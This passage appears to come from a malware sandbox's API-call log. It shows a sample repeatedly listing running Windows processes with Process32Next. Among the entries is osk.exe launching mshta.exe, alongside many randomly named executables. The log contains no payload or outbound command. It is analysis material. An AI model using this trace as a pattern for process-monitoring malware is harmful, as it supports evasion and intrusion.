th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="SecurityHealthService.exe")) returned 1 [0250.972] Process32Next (in: hSnapshot=0x35c, lppe=0x436fdeb | out: lppe=0x436fdeb*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x860, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x39, th32ParentProcessID=0x834, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0250.973] Process32Next (in: hSnapshot=0x35c, lppe=0x436fdeb | out: lppe=0x436fdeb*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x8bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x4, pcPriClassBase=8, dwFlags=0x0, szExeFile="Memory Compression")) returned 1 [0250.974] Process32Next (in: hSnapshot=0x35c, lppe=0x436fdeb | out: lppe=0x436fdeb*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0xb50, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1 [0250.975] Process32Next (in: hSnapshot=0x35c, lppe=0x436fdeb | out: lppe=0x436fdeb*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0xb58, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1c, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1 [0250.976] Process32Next (in: hSnapshot=0x35c, lppe=0x436fdeb | out: lppe=0x436fdeb*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0xbf4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1 [0250.977] Process32Next (in: hSnapshot=0x35c, lppe=0x436fdeb | out: lppe=0x436fdeb*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0xe04, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0250.979] Process32Next (in: hSnapshot=0x35c, lppe=0x436fdeb | out: lppe=0x436fdeb*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0xffc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="DeviceCensus.exe")) returned 1 [0250.980] Process32Next (in: hSnapshot=0x35c, lppe=0x436fdeb | out: lppe=0x436fdeb*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x368, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="screensaver.exe")) returned 1 [0250.980] Process32Next (in: hSnapshot=0x35c, lppe=0x436fdeb | out: lppe=0x436fdeb*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x798, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="emptysuite.exe")) returned 1 [0250.981] Process32Next (in: hSnapshot=0x35c, lppe=0x436fdeb | out: lppe=0x436fdeb*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0xcfc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="survivors sets.exe")) returned 1 [0250.982] Process32Next (in: hSnapshot=0x35c, lppe=0x436fdeb | out: lppe=0x436fdeb*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0xd04, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="lottery-royalty.exe")) returned 1 [0250.983] Process32Next (in: hSnapshot=0x35c, lppe=0x436fdeb | out: lppe=0x436fdeb*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0xce8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="screenshots.exe")) returned 1 [0250.984] Process32Next (in: hSnapshot=0x35c, lppe=0x436fdeb | out: lppe=0x436fdeb*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0xa9c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="miniature tim campus.exe")) returned 1 [0250.985] Process32Next (in: hSnapshot=0x35c, lppe=0x436fdeb | out: lppe=0x436fdeb*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x784, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="heroes_spies.exe")) returned 1 [0250.986] Process32Next (in: hSnapshot=0x35c, lppe=0x436fdeb | out: lppe=0x436fdeb*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0xd38, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="buddy_thorough_petition.exe")) returned 1 [0250.987] Process32Next (in: hSnapshot=0x35c, lppe=0x436fdeb | out: lppe=0x436fdeb*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0xd4c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="allied_tasks.exe")) returned 1 [0250.988] Process32Next (in: hSnapshot=0x35c, lppe=0x436fdeb | out: lppe=0x436fdeb*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0xd54, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="antoniostreetpowers.exe")) returned 1 [0250.988] Process32Next (in: hSnapshot=0x35c, lppe=0x436fdeb | out: lppe=0x436fdeb*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0xd64, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="principle_federation.exe")) returned 1 [0250.989] Process32Next (in: hSnapshot=0x35c, lppe=0x436fdeb | out: lppe=0x436fdeb*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0xd74, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="boatingstuffedbachelor.exe")) returned 1 [0250.990] Process32Next (in: hSnapshot=0x35c, lppe=0x436fdeb | out: lppe=0x436fdeb*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0xc34, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="davis.exe")) returned 1 [0250.991] Process32Next (in: hSnapshot=0x35c, lppe=0x436fdeb | out: lppe=0x436fdeb*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0xa60, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="indication-wage.exe")) returned 1 [0250.992] Process32Next (in: hSnapshot=0x35c, lppe=0x436fdeb | out: lppe=0x436fdeb*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0xbb4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="pub.exe")) returned 1 [0250.993] Process32Next (in: hSnapshot=0x35c, lppe=0x436fdeb | out: lppe=0x436fdeb*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0xbe4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="recruitment printers aerospace.exe")) returned 1 [0251.088] Process32Next (in: hSnapshot=0x35c, lppe=0x436fdeb | out: lppe=0x436fdeb*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0xdb8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="boys.exe")) returned 1 [0251.089] Process32Next (in: hSnapshot=0x35c, lppe=0x436fdeb | out: lppe=0x436fdeb*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0xdc4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="evaluations.exe")) returned 1 [0251.090] Process32Next (in: hSnapshot=0x35c, lppe=0x436fdeb | out: lppe=0x436fdeb*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0xb98, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="conservative_warnings_households.exe")) returned 1 [0251.091] Process32Next (in: hSnapshot=0x35c, lppe=0x436fdeb | out: lppe=0x436fdeb*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x540, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="fo emotions urban.exe")) returned 1 [0251.092] Process32Next (in: hSnapshot=0x35c, lppe=0x436fdeb | out: lppe=0x436fdeb*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0xa34, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0xffc, pcPriClassBase=6, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0251.093] Process32Next (in: hSnapshot=0x35c, lppe=0x436fdeb | out: lppe=0x436fdeb*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0xebc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0251.094] Process32Next (in: hSnapshot=0x35c, lppe=0x436fdeb | out: lppe=0x436fdeb*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0xeec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x12c, pcPriClassBase=4, dwFlags=0x0, szExeFile="CompatTelRunner.exe")) returned 1 [0251.096] Process32Next (in: hSnapshot=0x35c, lppe=0x436fdeb | out: lppe=0x436fdeb*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0xcbc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0xeec, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0251.097] Process32Next (in: hSnapshot=0x35c, lppe=0x436fdeb | out: lppe=0x436fdeb*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x7bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0251.098] Process32Next (in: hSnapshot=0x35c, lppe=0x436fdeb | out: lppe=0x436fdeb*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0xeb8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="sppsvc.exe")) returned 1 [0251.099] Process32Next (in: hSnapshot=0x35c, lppe=0x436fdeb | out: lppe=0x436fdeb*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0xb04, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="TrustedInstaller.exe")) returned 1 [0251.100] Process32Next (in: hSnapshot=0x35c, lppe=0x436fdeb | out: lppe=0x436fdeb*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x6cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0xe64, pcPriClassBase=8, dwFlags=0x0, szExeFile="osk.exe")) returned 1 [0251.101] Process32Next (in: hSnapshot=0x35c, lppe=0x436fdeb | out: lppe=0x436fdeb*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0xd00, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x6cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="mshta.exe")) returned 1 [0251.103] Process32Next (in: hSnapshot=0x35c, lppe=0x436fdeb | out: lppe=0x436fdeb*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0xd00, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x6cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="mshta.exe")) returned 0 [0251.104] CloseHandle (hObject=0x35c) returned 1 [0251.104] Sleep (dwMilliseconds=0x1) [0251.177] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x35c [0251.183] Process32First (in: hSnapshot=0x35c, lppe=0x436fdeb | out: lppe=0x436fdeb*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0251.184] Process32Next (in: hSnapshot=0x35c, lppe=0x436fdeb | out: lppe=0x436fdeb*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6c, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0251.185] Process32Next (in: hSnapshot=0x35c, lppe=0x436fdeb | out: lppe=0x436fdeb*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x144, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0251.186] Process32Next (in: hSnapshot=0x35c, lppe=0x436fdeb | out: lppe=0x436fdeb*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x19c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x194, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0251.187] Process32Next (in: hSnapshot=0x35c, lppe=0x436fdeb | out: lppe=0x436fdeb*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x1ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x194, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0251.188] Process32Next (in: hSnapshot=0x35c, lppe=0x436fdeb | out: lppe=0x436fdeb*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x1f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1e4, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0251.188] Process32Next (in: hSnapshot=0x35c, lppe=0x436fdeb | out: lppe=0x436fdeb*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x234, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1e4, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0251.189] Process32Next (in: hSnapshot=0x35c, lppe=0x436fdeb | out: lppe=0x436fdeb*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x250, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1ec, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0251.190] Process32Next (in: hSnapshot=0x35c, lppe=0x436fdeb | out: lppe=0x436fdeb*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x258, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1ec, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0251.191] Process32Next (in: hSnapshot=0x35c, lppe=0x436fdeb | out: lppe=0x436fdeb*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x2b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0251.192] Process32Next (in: hSnapshot=0x35c, lppe=0x436fdeb | out: lppe=0x436fdeb*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x2c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x234, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0251.193] Process32Next (in: hSnapshot=0x35c, lppe=0x436fdeb | out: lppe=0x436fdeb*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x2c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1ec, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0251.194] Process32Next (in: hSnapshot=0x35c, lppe=0x436fdeb | out: lppe=0x436fdeb*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x318, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0251.195] Process32Next (in: hSnapshot=0x35c, lppe=0x436fdeb | out: lppe=0x436fdeb*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x374, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x234, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0251.196] Process32Next (in: hSnapshot=0x35c, lppe=0x436fdeb | out: lppe=0x436fdeb*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x3c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x57, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0251.257] Process32Next (in: hSnapshot=0x35c, lppe=0x436fdeb | out: lppe=0x436fdeb*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x3d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1a, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0251.258] Process32Next (in: hSnapshot=0x35c, lppe=0x436fdeb | out: lppe=0x436fdeb*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x3f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0251.259] Process32Next (in: hSnapshot=0x35c, lppe=0x436fdeb | out: lppe=0x436fdeb*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x12c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0251.260] Process32Next (in: hSnapshot=0x35c, lppe=0x436fdeb | out: lppe=0x436fdeb*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x170, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x26, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0251.261] Process32Next (in: hSnapshot=0x35c, lppe=0x436fdeb | out: lppe=0x436fdeb*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x480, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1a, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0251.261] Process32Next (in: hSnapshot=0x35c, lppe=0x436fdeb | out: lppe=0x436fdeb*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x4fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0251.262] Process32Next (in: hSnapshot=0x35c, lppe=0x436fdeb | out: lppe=0x436fdeb*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x530, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0251.263] Process32Next (in: hSnapshot=0x35c, lppe=0x436fdeb | out: lppe=0x436fdeb*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x538, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0251.265] Process32Next (in: hSnapshot=0x35c, lppe=0x436fdeb | out: lppe=0x436fdeb*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x5c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0251.266] Process32Next (in: hSnapshot=0x35c, lppe=0x436fdeb | out: lppe=0x436fdeb*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x5f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0251.267] Process32Next (in: hSnapshot=0x35c, lppe=0x436fdeb | out: lppe=0x436fdeb*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x684, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0251.268] Process32Next (in: hSnapshot=0x35c, lppe=0x436fdeb | out: lppe=0x436fdeb*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x6a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x4fc, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0251.269] Process32Next (in: hSnapshot=0x35c, lppe=0x436fdeb | out: lppe=0x436fdeb*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x6fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x3c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1 [0251.270] Process32Next (in: hSnapshot=0x35c, lppe=0x436fdeb | out: lppe=0x436fdeb*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x718, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0251.271] Process32Next (in: hSnapshot=0x35c, lppe=0x436fdeb | out: lppe=0x436fdeb*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x7ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x3c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0251.272] Process32Next (in: hSnapshot=0x35c, lppe=0x436fdeb | out: lppe=0x436fdeb*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x7f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1 [0251.273] Process32Next (in: hSnapshot=0x35c, lppe=0x436fdeb | out: lppe=0x436fdeb*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x55c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="SecurityHealthService.exe")) returned 1 [0251.274] Process32Next (in: hSnapshot=0x35c, lppe=0x436fdeb | out: lppe=0x436fdeb*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x860, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x39, th32ParentProcessID=0x834, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0251.275] Process32Next (in: hSnapshot=0x35c, lppe=0x436fdeb | out: lppe=0x436fdeb*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x8bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x4, pcPriClassBase=8, dwFlags=0x0, szExeFile="Memory Compression")) returned 1 [0251.276] Process32Next (in: hSnapshot=0x35c, lppe=0x436fdeb | out: lppe=0x436fdeb*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0xb50, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1 [0251.277] Process32Next (in: hSnapshot=0x35c, lppe=0x436fdeb | out: lppe=0x436fdeb*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0xb58, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1c, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1 [0251.278] Process32Next (in: hSnapshot=0x35c, lppe=0x436fdeb | out: lppe=0x436fdeb*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0xbf4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1 [0251.279] Process32Next (in: hSnapshot=0x35c, lppe=0x436fdeb | out: lppe=0x436fdeb*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0xe04, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0251.280] Process32Next (in: hSnapshot=0x35c, lppe=0x436fdeb | out: lppe=0x436fdeb*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0xffc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="DeviceCensus.exe")) returned 1 [0251.280] Process32Next (in: hSnapshot=0x35c, lppe=0x436fdeb | out: lppe=0x436fdeb*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x368, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="screensaver.exe")) returned 1 [0251.281] Process32Next (in: hSnapshot=0x35c, lppe=0x436fdeb | out: lppe=0x436fdeb*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x798, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="emptysuite.exe")) returned 1 [0251.282] Process32Next (in: hSnapshot=0x35c, lppe=0x436fdeb | out: lppe=0x436fdeb*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0xcfc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="survivors sets.exe")) returned 1 [0251.283] Process32Next (in: hSnapshot=0x35c, lppe=0x436fdeb | out: lppe=0x436fdeb*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0xd04, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="lottery-royalty.exe")) returned 1 [0251.284] Process32Next (in: hSnapshot=0x35c, lppe=0x436fdeb | out: lppe=0x436fdeb*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0xce8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="screenshots.exe")) returned 1 [0251.285] Process32Next (in: hSnapshot=0x35c, lppe=0x436fdeb | out: lppe=0x436fdeb*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0xa9c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="miniature tim campus.exe")) returned 1 [0251.286] Process32Next (in: hSnapshot=0x35c, lppe=0x436fdeb | out: lppe=0x436fdeb*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x784, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, 